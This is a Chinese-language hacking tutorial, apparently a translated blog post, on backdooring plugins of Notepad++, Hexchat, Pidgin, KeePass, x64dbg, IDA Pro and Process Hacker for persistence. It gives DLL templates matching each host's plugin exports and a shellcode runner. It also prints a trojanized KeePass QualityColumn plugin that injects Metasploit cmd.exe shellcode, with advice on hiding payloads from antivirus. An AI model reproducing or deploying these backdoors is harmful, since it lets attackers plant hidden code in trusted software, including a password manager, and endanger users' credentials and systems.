一、前言
很早以前我与黑客小伙伴们讨论时就诞生了这个想法,利用插件植入后门是实现持久化驻留的另一种方法。我们为什么不试一下在某些热门程序中植入后门呢?
今天我们先来谈谈如何在一些热门软件的插件中植入后门,目标主要是我电脑上已安装的一些程序。
二、Notepad++
第一个目标是Notepad++。出于各种原因,我决定在“mimeTools.dll”种植入后门(这款插件刚好就在那里,看起来也比较“善良”)。
我这人喜欢直截了当的方式,因此我会采用汇编方式在这个DLL中植入后门。当然,我们可以直接下载插件模板(或者其他辅助工具)来编译,但这就没有多大乐趣了。如果我们想在exe中添加代码,最好能找到合适的位置。我们的后门载荷是一段shellcode,大小为251个字节。
也就是说,我们需要在目标中找到至少为251字节大小的可用代码洞(cave),否则我们就需要在DLL中添加新的区段(section),我选择使用后一种方式。我们可以尝试修改已有section的标志,但这种方法通常无法奏效,添加新的section可能是更加简单的一种方式。回顾我们之前文章中提到的方法,我们使用“Cff Explorer”添加了新的section。在这里我会添加一个新的section,往里面填充一个文件(可以使用jpeg或者其他文件),之后重建PE头再保存。对了,别忘了将section标志设置为可执行(executable)或者包含代码(contains code),否则跳转到这个section并不会运行我们的代码。另外我还给这个section起了个好名字。
在IDA中打开这个dll,我们可以看到新的代码段以及具体地址。当我们在调试器中打开dll时,我们需要使用这个地址实现长跳转并且粘贴/保存汇编形式的后门shellcode。我在之前的文章中也介绍了这方面内容,如果大家不知道如何处理,可以回头看看那个教程。
现在我们要做的就是将修改后的dll拖拽到notepad++的插件目录中,运行程序即可。接下来就是见证奇迹发生的时刻了:
点击“ok”按钮后Notepad++就会继续运行,但我们可以替换成其他代码,而不是简单地弹出对话框。
如果你不擅长编辑原始dll文件,那么可以考虑自己编写dll文件,但需要确保该文件符合notepad++的代码格式。
代码框架并不复杂,只需要导出几个函数即可:IsUnicode
、setInfo
、getName
、getFuncsArray
、beNotified
以及messageProc
。如果没有导出这些函数,notepad++会弹出警告,并不会运行我们编写的代码:
三、Hexchat
第一个目标已成功攻陷,还有更多目标在等着我们。接下来我选择Hexchat这个IRC客户端作为攻击目标(真正的黑客肯定会用到IRC)。
首先我们可以粗略观察一下hexchat中的示例插件,能得到许多信息:
只有一些导出表项。查阅官方文档后,可以发现只需要拷贝这些导出函数即可,操作起来易如反掌。
这一次我们可以使用dll框架代码。模仿另一个插件的导出函数,我们就能实现恶意代码的运行。C语言版本的框架代码如下所示:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"kek",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void hexchat_plugin_init(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void hexchat_plugin_deinit(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void hexchat_plugin_get_info(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK);
return;
}
为什么选择C语言?因为这样可以便于我们使用shellcode。
在C中使用shellcode非常方便,只需要3行代码即可:
#include <stdio.h>
#include <windows.h>
int main(void)
{
char shellcode[] = "x90x90x90";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
编译成64位dll后,我将该文件拖放到插件目录中(通常位于用户配置目录中)。根据执行结果,貌似程序首先会执行dllmain
中DLL_PROCESS_ATTACH
区域的代码:
接下来程序会启动插件初始化代码,如果时机正好,说不定你可以在IRC中碰到我。
四、Pidgin
现在我们可以移步下一个目标。我电脑上也安装了Pidgin即时消息软件,我们可以在上面植入后门。
步骤1:查看导出的dll表项:
步骤2:将这些表项载入框架型dll代码中。需要关注其中的TLS回调函数,我可能会专门写篇文章介绍这方面内容。
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"kek",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2)
{
MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK);
return 1;
}
步骤3:将生成的载荷放入用户配置目录中,等待加载。加载后DLL_PROCESS_ATTACH
区域中的代码就会被执行,插件初始化代码看上去似乎只是一种摆设。
步骤4:????
步骤5:大功告成!
五、Keepass
接下来让我们大胆一些,试试给Keepass植入后门!这次我们需要使用与前面略微不同的方法,因为Keepass是.NET程序,并非我经常编写的普通原生汇编代码。不用担心,C#非常简单,前面我也介绍过这方面内容。我们可以获取源码来编译,因此就不需要重复造轮子了。我决定“借用”其他人已有的代码,然后再添加恶意代码进行编译。这个插件项目为“QualityColumn”,大家也可以选择使用其他老的插件作为目标。
代码如下:
/*
KeePass QualityColumn Plugin
Copyright (C) 2010-2014 Dominik Reichl <dominik.reichl@t-online.de>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using KeePass.Forms;
using KeePass.Plugins;
using KeePass.UI;
using KeePass.Util.Spr;
using KeePassLib;
using KeePassLib.Cryptography;
using KeePassLib.Utility;
namespace QualityColumn
{
public sealed class QualityColumnExt : Plugin
{
[Flags]
public enum AllocationType
{
Commit = 4096,
Reserve = 8192,
Decommit = 16384,
Release = 32768,
Reset = 524288,
Physical = 4194304,
TopDown = 1048576,
WriteWatch = 2097152,
LargePages = 536870912
}
[Flags]
public enum AllocationProtect : uint
{
PAGE_NOACCESS = 1u,
PAGE_READONLY,
PAGE_READWRITE = 4u,
PAGE_WRITECOPY = 8u,
PAGE_EXECUTE = 16u,
PAGE_EXECUTE_READ = 32u,
PAGE_EXECUTE_READWRITE = 64u,
PAGE_EXECUTE_WRITECOPY = 128u,
PAGE_GUARD = 256u,
PAGE_NOCACHE = 512u,
PAGE_WRITECOMBINE = 1024u
}
/*
* windows/x64/exec - 275 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
* CMD=cmd.exe
*/
byte[] buf = new byte[275] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00 };
[DllImport("Kernel32.dll")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("Kernel32.dll")]
private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
[DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);
[DllImport("Kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
private static IPluginHost m_host = null;
private QualityColumnProvider m_prov = null;
internal static IPluginHost Host
{
get { return m_host; }
}
public override bool Initialize(IPluginHost host)
{
Terminate();
m_host = host;
if(m_host == null) { Debug.Assert(false); return false; }
m_prov = new QualityColumnProvider();
m_host.ColumnProviderPool.Add(m_prov);
m_host.MainWindow.FileClosed += this.OnFileClosed;
return true;
}
public override void Terminate()
{
System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
int pid = olo.Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
if (hProcess == IntPtr.Zero)
{
throw new Exception("error!");
}
IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
int zero = 0;
IntPtr kek = IntPtr.Zero;
WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
UInt32 tid = 0;
CreateThread(0, 0, intPtr, kek, 0, ref tid);
if(m_host == null) return;
m_host.MainWindow.FileClosed -= this.OnFileClosed;
m_host.ColumnProviderPool.Remove(m_prov);
m_prov = null;
m_host = null;
}
private void OnFileClosed(object sender, FileClosedEventArgs e)
{
QualityColumnProvider.ClearCache();
}
}
public sealed class QualityColumnProvider : ColumnProvider
{
private const string QcpName = "Password Quality";
private const string QcpBitsSuffix = " bits";
private static object m_oCacheSync = new object();
private static Dictionary<string, uint> m_dCache =
new Dictionary<string, uint>();
private string[] m_vColNames = new string[] { QcpName };
public override string[] ColumnNames
{
get { return m_vColNames; }
}
public override HorizontalAlignment TextAlign
{
get { return HorizontalAlignment.Right; }
}
internal static void ClearCache()
{
lock(m_oCacheSync)
{
m_dCache.Clear();
}
}
public override string GetCellData(string strColumnName, PwEntry pe)
{
if(strColumnName == null) { Debug.Assert(false); return string.Empty; }
if(strColumnName != QcpName) return string.Empty;
if(pe == null) { Debug.Assert(false); return string.Empty; }
string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);
if(strPw.IndexOf('{') >= 0)
{
IPluginHost host = QualityColumnExt.Host;
if(host == null) { Debug.Assert(false); return string.Empty; }
PwDatabase pd = null;
try
{
pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);
}
catch(Exception) { Debug.Assert(false); }
SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref |
SprCompileFlags.TextTransforms), false, false);
strPw = SprEngine.Compile(strPw, ctx);
}
uint uEst;
lock(m_oCacheSync)
{
if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue;
}
if(uEst == uint.MaxValue)
{
uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());
lock(m_oCacheSync)
{
m_dCache[strPw] = uEst;
}
}
return (uEst.ToString() + QcpBitsSuffix);
}
}
}
这里我们可以选择如何编译这些代码。Keepass可以接受类库(.NET dll文件),也能接受“plgx”这种自有格式文件。如果选择后一种方式,我们可以更好地隐藏攻击载荷,规避杀毒软件,感谢Keepass提供这个功能!
32位的shellcode无法在我机器上的.NET环境中运行,具体原因不明,不要在意这个细节。
解决办法就是使用64位shellcode,即使宿主程序位32位程序也没问题。
现在我们可以编译攻击代码,在命令行中输入KeePass.exe –plgx-create
,会弹出一个对话框让我们选择包含C#工程文件的目录。
只要将生成的plgx文件放入keepass目录中(并不一定要是插件目录),我们的插件就可以伴随keepass一起启动。
六、X64dbg
我是非常耿直的人,因此我把目光转向了调试器。X64dbg是我正在使用的调试器,如果你还在使用olly或者immunity,你需要与时俱进,紧跟时代潮流了。
首先我们在CFF Explorer中加载程序(这一次没有使用ida)。
我们需要在dll框架代码中填入3个导出函数:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void pluginit(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void plugsetup(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void plugstop(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
为了让x64dbg加载我们的插件,只需要将我们的dll文件重命名为“.dp64”文件,将其放入插件目录中即可。
现在启动调试器,见证奇迹发生:
想象一下,如果某款恶意软件探测到x64dbg正在运行,它将自身副本解封装到插件目录,然后触发调试器崩溃,那么下次调试器运行时恶意软件也能自动运行,可利用的场景还有很多,不一而足。
七、IDA Pro
最后的重头戏留给IDA Pro。
我选择的是“COM Helper”这个插件,貌似IDA会自动加载这个插件。
插件文件位于插件目录中,如下所示:
在IDA中打开其中某个文件(有点讽刺意味),我们发现只有一个导出条目:PLUGIN
。这样dll代码就比较简单了:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void PLUGIN(void)
{
MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK);
return;
}
编译dll代码,将其命名为“comhelper.dll”以及“comhelper64.dll”(要确保两个版本的IDA都能加载我们的插件),放入插件目录中即可。程序还是会加载DLL_PROCESS_ATTACH
。
读到这里,大家会不会担心某些心怀不轨的黑客会窃取这种思路,开始散播带有后门插件的IDA种子?放心,没有人会这么做的。
八、Process Hacker
我的主机上还有许多程序可以植入后门插件,比如VLC、Foobar、DropBox、Ifranview、mumble以及Cheat Engine等,但攻击者可能没有那么多时间。如果我们想在目标主机上实现本地持久化,可以考虑以用户每天都使用的某款程序作为目标来植入后门插件,注意要保持隐蔽性。
总之,我们只需要将恶意代码加入主dll文件的入口点中,就能得到运行机会。事实上这种方法对大多数插件来说都是适用的。当然,的确有部分插件预设了一些条件,比如需要使用特定的导出函数名等,但总体而言,我们可以将代码填入DllMain中的DLL_PROCESS_ATTACH
区域,这就足以应对大多数情况。提问一下,大家之前有没有用过Process Hacker?
如果我们将任何64位dll放入Process Hacker的“plugins”目录中,不需要做任何处理,程序就会运行我们的代码。这种现象与IDA Pro类似:
对于其他插件,如果这么做不行,我们只需要拷贝导出函数名(只需要匹配函数名,不需要考虑序号),满足预设条件即可,剩下的工作就比较简单了。我觉得我们可以使用病毒或者其他程序来自动化完成这个工作。
九、总结
大家可以从这里下载本文用到的所有代码,密码为infected
。
感谢大家百忙中阅读此文,我还有许多事情要去处理,比如我需要编写64位版本的metasploit模块,需要重写crypter(被误报为“wannacry”),还需要深入学习IOT设备以及网络摄像头方面知识。对了,前面我们留下了一个坑:TLS回调函数,后面我会解决这个问题。
希望大家有个愉快的黑客之旅。